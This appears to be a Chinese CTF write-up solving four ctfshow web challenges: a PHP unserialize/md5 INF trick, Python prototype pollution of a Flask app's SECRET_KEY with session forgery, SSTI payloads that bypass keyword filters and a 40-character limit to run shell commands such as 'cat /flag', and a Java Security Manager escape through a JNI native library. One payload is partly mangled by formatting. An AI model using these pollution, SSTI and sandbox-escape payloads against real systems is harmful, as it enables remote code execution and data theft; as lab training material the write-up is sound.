签到·好玩的PHP

我们可以使用INF来绕过

可以发现INF于”INF”的md5的值是一样的,而INF和字符串的”INF”是不同类型的使用不强相等
输出了INF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
#highlight_file(__FILE__);

class ctfshow {
private $d="I";
private $s="N";
private $b="F";
private $ctf=INF;

public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;

if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;

if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}

$a=new ctfshow();
$b=serialize($a);
echo urlencode($b);
#unserialize($b);

ez_inject

登陆后会发现hint是原型链污染

在注册界面可以看到其后台处理json。我们尝试原型链污染

1
{"username":"12344","password":"123","__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}

而bao师傅说其并没有对污染的部分进行过滤。
那其实就有非常多的非预期了贴一个原型链污染的老文章Python原型链污染变体(prototype-pollution-in-python)

预期解

预期解就是污染SECRET_KEY然后伪造session,然后再ssti

1
2
3
4
5
6
7
8
9
10
11
12
{"username":"12344","password":"123",{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"LSE"
}
}
}
}
}
}

污染后使用flask-unsign来进行伪造

成功伪造

其提示我们再echo
其过滤了7*7等即我们无法通过算数来判断

再输入urlfor这种flask的内置函数会发生报错
直接输入
url_for.__globals__.__builtins__['__import__']('os').popen('nl /flag').read()
发现其进行了过滤,经过测试其过滤了__globals____builtins__
如下可以绕过

1
url_for['__gl'+'obals__']['__buil'+'tins__']['__import__']('os').popen('nl /flag').read()

然后其过滤了cat
经过尝试可以用nl来进行读取flag

又是一个非预期
之后我有发现直接使用urlfor得到open函数可以直接读取到内容
`urlfor[‘gl’+’obals‘][‘_buil’+’tins‘][‘__import
‘](‘builtins’).open(‘/flag’).read()`

bao师傅其实是想让我们通过盲注来进行对flag的读取

cycler[“in”+”it“][“glo”+”bals“][“bui”+”ltins“].import(‘builtins’).open(‘/flag’).read(1)[0]==’c’

ez_ssti

经过尝试发现其有长度限制,最多输入40字符。这就意味着无法使用fengjin一把梭。
于是我找到了这篇文章ssti绕过长度限制
我们可以使用ssti来写入内容到config这种全局变量。这样就可以绕过长度限制了

文章是用{% set x=config.update(s='string') %}来进行修改的,而这题并没有过滤{{}}所以我们可以使用如下payload来写入

1
2
3
4
{{config.update(f=lipsum.__globals__)}}
{{config.update(o=config.f.os)}}
{{config.update(p=config.o.popen)}}
{{config.p("cat /flag").read()}}

在写入后可以直接使用{{config}}来看是否写入成功

在赛后看了一下wp,发现出题人使用来写入update,这样来减小长度。
1
{%set x=config.update(a=config.update)%}

那么结合一下
1
{{config.update(a=config.update)}}

可以做到34字符进行rce

迷雾重重

简单的文件上传

这道题目是一个上传jar包的程序,其可以上传jar包也可以运行和删除jar包。在尝试上传恶意Runtime的jar包后发现其无法运行,可以猜测到其一个是使用了Java Security Manager。
浅析Java沙箱逃逸
参考这篇文章我们可以发现可以使用Java native方法来绕过沙箱。Java native是java调用执行其他语言的一种机制。其可以将so文件的代码进行加载。当我们调用native方法时,可以将调用的参数传到so文件的代码中且Java Security Manager。不会检测,这就导致了沙箱逃逸

我们随便上传一个文件,就可以知道上传的文件的上传位置是在/var/www/html/uploads/xxxx
那么我们可以在本地编写一个实现native的c语言编译的so文件。然后上传到该目录下,然后写一个jar包将native方法和调用其方法的class文件打包成一个jar包

1
2
3
4
5
6
7
8
9
10
package com.ctfshow;

public class CTFshowCodeManager {
static {
System.load("/var/www/html/uploads/CTFshowCodeManager.jar");

}

public static native String eval(String cmd);
}

1
2
3
4
5
6
7
8
9
package com.ctfshow;

import java.io.IOException;

public class Main {
public static void main(String[] args) throws IOException {
CTFshowCodeManager.eval("ls /");
}
}

打包成jar包在和恶意so文件一起上传之后运行jar包即可查看根目录文件

之后读取flag即可